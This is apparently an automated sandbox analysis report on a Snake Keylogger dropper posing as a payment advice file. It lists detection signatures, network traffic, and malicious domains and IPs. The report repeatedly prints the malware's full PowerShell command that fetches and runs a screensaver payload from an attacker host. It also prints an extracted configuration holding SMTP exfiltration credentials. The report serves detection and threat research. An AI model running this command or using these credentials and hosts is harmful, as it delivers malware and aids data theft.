0.2.Payment_Advice.exe.301f558.2.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xf8968:$x1: In$J$ct0r 0xfa65c:$a1: WriteProcessMemory 0xfa6e8:$a1: WriteProcessMemory 0xfa7bc:$a4: VirtualAllocEx 0xfa9e0:$a4: VirtualAllocEx 0xfaa60:$a4: VirtualAllocEx 0x10cf8:$s3: net.pipe 0xf8c20:$s3: net.pipe 0xf8c40:$s4: vsmacros
0.2.Payment_Advice.exe.3021d98.1.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xf6128:$x1: In$J$ct0r 0xf7e1c:$a1: WriteProcessMemory 0xf7ea8:$a1: WriteProcessMemory 0xf7f7c:$a4: VirtualAllocEx 0xf81a0:$a4: VirtualAllocEx 0xf8220:$a4: VirtualAllocEx 0xe4b8:$s3: net.pipe 0xf63e0:$s3: net.pipe 0xf6400:$s4: vsmacros
23.0.hadvices.scr.990000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Click to see the 42 entries

Sigma Signatures

System Summary

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , CommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , CommandLine|base64offset|contains: h(, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\Payment_Advice.exe", ParentImage: C:\Users\user\Desktop\Payment_Advice.exe, ParentProcessId: 4208, ParentProcessName: Payment_Advice.exe, ProcessCommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , ProcessId: 2436, ProcessName: wscript.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2436, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", ProcessId: 4912, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , CommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , CommandLine|base64offset|contains: h(, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\Payment_Advice.exe", ParentImage: C:\Users\user\Desktop\Payment_Advice.exe, ParentProcessId: 4208, ParentProcessName: Payment_Advice.exe, ProcessCommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , ProcessId: 2436, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , CommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , CommandLine|base64offset|contains: h(, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\Payment_Advice.exe", ParentImage: C:\Users\user\Desktop\Payment_Advice.exe, ParentProcessId: 4208, ParentProcessName: Payment_Advice.exe, ProcessCommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , ProcessId: 2436, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4912, TargetFilename: C:\Users\Public\Payment_Advice.pdf

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2436, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", ProcessId: 4912, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4912, TargetFilename: C:\Windows\Temp\hadvices.scr

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2436, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", ProcessId: 4912, ProcessName: powershell.exe

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4912, TargetFilename: C:\Windows\Temp\hadvices.scr

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 108.167.142.65, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Temp\hadvices.scr, Initiated: true, ProcessId: 8336, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49743

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4912, TargetFilename: C:\Windows\Temp\hadvices.scr

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2436, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", ProcessId: 4912, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , CommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , CommandLine|base64offset|contains: h(, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\Payment_Advice.exe", ParentImage: C:\Users\user\Desktop\Payment_Advice.exe, ParentProcessId: 4208, ParentProcessName: Payment_Advice.exe, ProcessCommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , ProcessId: 2436, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2436, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'", ProcessId: 4912, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7176, ProcessName: svchost.exe

Snort Signatures

ET TROJAN Snake Keylogger Exfil via SMTP - Source IP: 192.168.2.7 - Destination IP: 108.167.142.65

Timestamp:	05/01/24-15:18:36.864942
SID:	2044767
Source Port:	49745
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Snake Keylogger Exfil via SMTP - Source IP: 192.168.2.7 - Destination IP: 108.167.142.65

Timestamp:	05/01/24-15:18:34.721845
SID:	2044767
Source Port:	49744
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Snake Keylogger Exfil via SMTP - Source IP: 192.168.2.7 - Destination IP: 108.167.142.65

Timestamp:	05/01/24-15:18:41.126293
SID:	2044767
Source Port:	49747
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Snake Keylogger Exfil via SMTP - Source IP: 192.168.2.7 - Destination IP: 108.167.142.65

Timestamp:	05/01/24-15:18:39.013246
SID:	2044767
Source Port:	49746
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Snake Keylogger Exfil via SMTP - Source IP: 192.168.2.7 - Destination IP: 108.167.142.65

Timestamp:	05/01/24-15:18:23.398629
SID:	2044767
Source Port:	49743
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://mail.qoldenfrontier.com	Avira URL Cloud: Label: malware
Source: https://scratchdreams.tk	Avira URL Cloud: Label: malware
Source: https://scratchdreams.tk/_send_.php?TS	Avira URL Cloud: Label: malware
Source: http://scratchdreams.tk	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000019.00000002.2455454438.0000000003131000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "test@qoldenfrontier.com", "Password": "%2WMoWREUv@3", "Host": "mail.qoldenfrontier.com", "Port": "587"}

Multi AV Scanner detection for domain / URL

Source: scratchdreams.tk	Virustotal: Detection: 17%	Perma Link
Source: advising-receipts.com	Virustotal: Detection: 13%	Perma Link
Source: https://advising-receipts.com	Virustotal: Detection: 9%	Perma Link
Source: http://advising-receipts.com	Virustotal: Detection: 13%	Perma Link
Source: https://scratchdreams.tk	Virustotal: Detection: 16%	Perma Link
Source: https://scratchdreams.tk/_send_.php?TS	Virustotal: Detection: 16%	Perma Link
Source: http://scratchdreams.tk	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Windows\Temp\hadvices.scr	ReversingLabs: Detection: 70%
Source: C:\Windows\Temp\hadvices.scr	Virustotal: Detection: 34%			Perma Link

Multi AV Scanner detection for submitted file

Source: Payment_Advice.exe

ReversingLabs: Detection: 28%

Machine Learning detection for dropped file

Source: C:\Windows\Temp\hadvices.scr

Joe Sandbox ML: detected

Source: Payment_Advice.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.7:49724 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 172.67.141.195:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.169.18:443 -> 192.168.2.7:49740 version: TLS 1.2

Source: Payment_Advice.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: Payment_Advice.exe, 00000000.00000002.1199149404.00000000057B0000.00000004.08000000.00040000.00000000.sdmp, Payment_Advice.exe, 00000000.00000002.1198385946.0000000003011000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000017.00000002.1414670213.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \/.dll.pdb source: Payment_Advice.exe, hadvices.scr.4.dr

Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user\AppData\Local\Temp\9D53.tmp	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.tmp	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	25_2_01667550
Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	25_2_0166793B
Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	25_2_01667939
Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	25_2_016680B3
Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	25_2_01667CB2
Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then jmp 0177FCD1h	25_2_0177FA10
Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then jmp 0177EFDDh	25_2_0177EDF0
Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then jmp 0177F967h	25_2_0177EDF0
Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	25_2_0177E310
Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	25_2_0177E943
Source: C:\Windows\Temp\hadvices.scr	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	25_2_0177EB23

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044767 ET TROJAN Snake Keylogger Exfil via SMTP 192.168.2.7:49743 -> 108.167.142.65:587
Source: Traffic	Snort IDS: 2044767 ET TROJAN Snake Keylogger Exfil via SMTP 192.168.2.7:49744 -> 108.167.142.65:587
Source: Traffic	Snort IDS: 2044767 ET TROJAN Snake Keylogger Exfil via SMTP 192.168.2.7:49745 -> 108.167.142.65:587
Source: Traffic	Snort IDS: 2044767 ET TROJAN Snake Keylogger Exfil via SMTP 192.168.2.7:49746 -> 108.167.142.65:587
Source: Traffic	Snort IDS: 2044767 ET TROJAN Snake Keylogger Exfil via SMTP 192.168.2.7:49747 -> 108.167.142.65:587

Yara detected Generic Downloader

Source: Yara match	File source: Payment_Advice.exe, type: SAMPLE
Source: Yara match	File source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Payment_Advice.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.hadvices.scr.990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Windows\Temp\hadvices.scr, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.7:49743 -> 108.167.142.65:587

Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.169.18 172.67.169.18
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: global traffic

TCP traffic: 192.168.2.7:49743 -> 108.167.142.65:587

Source: global traffic	HTTP traffic detected: GET /hsbc/Payment_Advice.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: advising-receipts.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hsbc/hadvices.scr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: advising-receipts.com
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
